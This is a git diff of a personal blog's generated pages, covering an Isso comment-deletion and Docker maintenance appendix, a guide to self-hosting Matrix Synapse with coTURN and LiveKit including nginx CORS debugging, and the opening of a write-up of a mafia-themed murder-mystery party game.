    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/comments/page/1/index.html b/public-clearnet/tags/comments/page/1/index.html new file mode 100644 index 0000000..88370a0 --- /dev/null +++ b/public-clearnet/tags/comments/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/comments/ + \ No newline at end of file diff --git a/public-clearnet/tags/coturn/index.html b/public-clearnet/tags/coturn/index.html new file mode 100644 index 0000000..c4da558 --- /dev/null +++ b/public-clearnet/tags/coturn/index.html @@ -0,0 +1,13 @@ +Coturn | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/coturn/index.xml b/public-clearnet/tags/coturn/index.xml new file mode 100644 index 0000000..5c30089 --- /dev/null +++ b/public-clearnet/tags/coturn/index.xml @@ -0,0 +1,351 @@ +Coturn on AlipourIm journeyshttps://blog.alipour.eu/tags/coturn/Recent content in Coturn on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/coturn/page/1/index.html b/public-clearnet/tags/coturn/page/1/index.html new file mode 100644 index 0000000..ee5f0fe --- /dev/null +++ b/public-clearnet/tags/coturn/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/coturn/ + \ No newline at end of file diff --git a/public-clearnet/tags/crime-fiction/index.html b/public-clearnet/tags/crime-fiction/index.html new file mode 100644 index 0000000..4c71588 --- /dev/null +++ b/public-clearnet/tags/crime-fiction/index.html @@ -0,0 +1,11 @@ +Crime Fiction | AlipourIm journeys +

    La Plaza: The Falcones & the Morettis

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    October 25, 2025 · 13 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/crime-fiction/index.xml b/public-clearnet/tags/crime-fiction/index.xml new file mode 100644 index 0000000..6e32460 --- /dev/null +++ b/public-clearnet/tags/crime-fiction/index.xml @@ -0,0 +1,201 @@ +Crime Fiction on AlipourIm journeyshttps://blog.alipour.eu/tags/crime-fiction/Recent content in Crime Fiction on AlipourIm journeysHugo -- 0.146.0enSat, 25 Oct 2025 07:52:53 +0000La Plaza: The Falcones & the Morettishttps://blog.alipour.eu/posts/murder_mystery_night/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/posts/murder_mystery_night/Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.
